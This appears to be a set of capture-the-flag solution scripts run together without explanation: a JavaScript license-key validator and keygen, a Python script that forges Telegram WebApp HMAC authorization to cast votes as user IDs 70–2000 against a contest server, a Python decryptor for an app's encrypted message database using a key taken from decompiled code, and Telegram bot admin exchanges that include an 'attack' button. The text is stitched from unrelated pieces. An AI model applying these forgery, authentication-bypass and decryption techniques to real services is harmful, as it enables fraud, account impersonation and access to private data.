window.onload = function() {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const msg = urlParams.get('msg');
    if (msg) {
        document.getElementById("message").innerText = msg;
    }
}

function checkLicense() {
    const license = document.getElementById("license").value;
    if (isLicenseValid(license)) {
        const form = document.createElement("form");
        document.body.appendChild(form);
        form.action = "/validate";
        form.method = "POST";
        const input = document.createElement("input");
        input.type = "hidden";
        input.name = "license";
        input.value = license;
        form.appendChild(input);
        form.submit();
    } else {
        document.getElementById("message").innerText = "Invalid license key!";
    }
}

function isLicenseValid(license) {
    if (!isKeyFormatValid(license)) {
        return false;
    }
    const [, serial, checksum] = license.replace(/-/g, "").match(/(.{16})(.{4})/);
    if (!isSerialChecksumValid(serial, checksum)) {
        return false;
    }
    const seed = serial.substring(0, 8);
    if (!isSeedFormatValid(seed)) {
        return false;
    }
    const subkey = getSubkeyFromSeed(seed, 36, 1, 137);
    return serial.substring(8, 10) === subkey;
}

function isKeyFormatValid(key) {
    return key.length === 24 && key.replace(/-/g, "").length === 20;
}

function isSerialChecksumValid(serial, checksum) {
    return getChecksumForSerial(serial) === checksum;
}

function isSeedFormatValid(seed) {
    return seed.match(/[A-F0-9]{8}/) !== null;
}

function getChecksumForSerial(serial) {
    let sum1 = 175;
    let sum2 = 86;
    for (let i = 0; i < serial.length; i++) {
        sum1 += serial.charCodeAt(i);
        if (sum1 > 255) {
            sum1 -= 255;
        }
        sum2 += sum1;
        if (sum2 > 255) {
            sum2 -= 255;
        }
    }
    return toFixedHex((sum2 << 8) + sum1, 4);
}

function toFixedHex(value, length) {
    return value.toString(16).toUpperCase().padStart(length, "0").substring(0, length);
}

function getSubkeyFromSeed(seed, shift, mod, xor) {
    if (typeof seed === "string") {
        seed = parseInt(seed, 16);
    }
    mod %= 3;
    let result;
    if (shift % 25 % 2 === 0) {
        result = (seed >> shift & 255) ^ (255 & (seed >> mod | xor));
    } else {
        result = (seed >> shift & 255) ^ (seed >> mod & xor & 255);
    }
    return toFixedHex(result, 2);
}

function generateLicenseKey() {
    let seed = Math.floor(Math.random() * Math.pow(16, 8)).toString(16).toUpperCase().padStart(8, "0");

    let randomSerial = Math.floor(Math.random() * Math.pow(16, 6)).toString(16).toUpperCase().padStart(6, "0");

    let subkey = getSubkeyFromSeed(seed, 36, 1, 137);

    let serial = seed + subkey + randomSerial;

    let checksum = getChecksumForSerial(serial);

    let licenseKey = serial + checksum;

    licenseKey = licenseKey.replace(/(.{4})/g, "\$1-").slice(0, -1);

    return licenseKey;
}

import hashlib
import hmac
import json
from base64 import b64encode
import requests
import time
import urllib3
urllib3.disable_warnings()

def calc_hmac(key, parsed_data) -> str:
    sorted_keys = sorted(parsed_data.keys())
    data_check_string = '\n'.join([f'{key}={parsed_data.get(key)}' for key in sorted_keys])
    # auth_date=1713654433\nquery_id=AAEAIsIOAAAAAAAiwg5KOFLV\nuser={YOUR_DATA_PLS}
    data_check_string = data_check_string.replace(" ", "").replace("True", "true").replace("'", '"')
    #print(data_check_string.encode("utf8"))
    hmac_msg = hmac.new(key, data_check_string.encode("utf8"), hashlib.sha256)
    
    return hmac_msg.digest().hex()

def calc_query_string(parsed_data):
    query_string=f'query_id={parsed_data["query_id"]}&user={user}&auth_date={parsed_data["auth_date"]}&hash={hmac_hash}'.replace('"',"%22").replace('{', '%7B').replace(',', '%2C').replace(':', '%3A').replace('}', '%7D')
    query_string=f'"{query_string}"'
    query_string=b64encode(query_string.encode("utf8"))
    #print(query_string.decode("utf8"))

    return query_string.decode("utf8")

if __name__ == "__main__":
    parsed_data = {
        "query_id": "AAEAIsIOAAAAAAAiwg5KOFLV",
        "user": {
            YOUR_DATA
        },
        "auth_date": "1713654433",
    }
    key = bytes.fromhex("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83")

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "application/json",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/json",
        "Te": "trailers",
        "Authorization": "",
        "Sec-Fetch-Dest": "empty",
        "Sec-Fetch-Mode": "cors",
        "Sec-Fetch-Site": "same-origin"
    }
    post_data = {"contestant_id":2937}
    #print(post_data)

    for i in range(70, 2000):
        parsed_data["user"]["id"] = i
        hmac_hash = calc_hmac(key, parsed_data)
        user = json.dumps(parsed_data["user"]).replace(" ", "")
        query_string = calc_query_string(parsed_data)
        headers["Authorization"] = f"Bearer {query_string}"
        #print(headers)
        #print()
        resp = requests.post("https://t-pageant-ekbooq0e.spbctf.net/api/vote", json=post_data, cookies={"__cfduid":"CFDUID"}, verify=False, headers=headers)
        time.sleep(0.05)
    print("Success!")

import hashlib
import hmac
from Crypto.Cipher import AES
import zlib

with open("MessengerDB.db_enc", "rb") as f:
    data = f.read()

# From jadx
encryptionKey = bytearray([100, 97, 116, 97, 98, 97, 115, 101, 101, 110, 99, 114, 121, 112, 116, 105, 111, 110, 107, 101, 121])

str2_l = int.from_bytes(data[:2], "big")
iv = data[2:18]
enc_key_gen = data[38:str2_l+2]

enc_db = data[str2_l+2:-16]
orig_db_md5 = data[-16:]

#==========

# 16 bytes of 0
# mac = AES, HmacSHA256: enc_key_gen (zeros)
# mac2 = AES, HmacSHA256: enc_key_gen (mac)

mac = hmac.new(bytearray([0 for _ in range(16)]), enc_key_gen, hashlib.sha256).digest()
mac2 = hmac.new(mac, enc_key_gen, hashlib.sha256).digest()[:16]

#==========

# mac = AES, HmacSHA256: encryptionKey (enc_key)
# gen iv
# result = AES/GCM/NoPadding: deflater(src_db) (mac, iv)

mac = hmac.new(mac2, encryptionKey, hashlib.sha256).digest()[:16]

cipher = AES.new(mac, AES.MODE_GCM, iv)
dec = cipher.decrypt(enc_db)

with open("decrypted.sqlite", "wb") as f:
    f.write(zlib.decompress(dec))

{
    "message": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "text": "/admin"
    }
}

{
    "chat_id": 6818118044,
    "text": "Выберите действие",
    "reply_markup": {
        "inline_keyboard": [
            [{
                    "text": "Перезагрузить nginx",
                    "callback_data": "inline_button_restartnginx"
            }],
            [{
                    "text": "Атаковать example.org",
                    "callback_data": "inline_button_ddosexample"
            }],
            [{
                    "text": "Пинговать google.com",
                    "callback_data": "inline_button_pinggoogle"
            }],
            [{
                    "text": "Другие >>",
                    "callback_data": "inline_button_nextpage"
            }]
        ]
    },
    "method": "sendMessage"
}

{
    "callback_query": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "data": "inline_button_nextpage"
    }
}

{
    "chat_id": 6818118044,
    "text": "Выберите действие",
    "reply_markup": {
        "inline_keyboard": [
            [{
                    "text": "Отправить приглашение",
                    "callback_data": "inline_button_sendinvite"
            }]
        ]
    },
    "method": "sendMessage"
}

{
    "callback_query": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "data": "inline_button_sendinvite"
    }
}

{
    "chat_id": 6818118044,
    "text": "В следующие 10 секунд напишите ID чата, куда отправить приглашение",
    "method": "sendMessage"
}

{
    "message": {
        "from": {
            "id": 6818118044,
            "first_name": "RasaSporT",
            "username": "bash_dev"
        },
        "text": "800863363"
    }
}

{
    "chat_id": 6818118044,
    "text": "Успешно отправили приглашение.",
    "method": "sendMessage"
}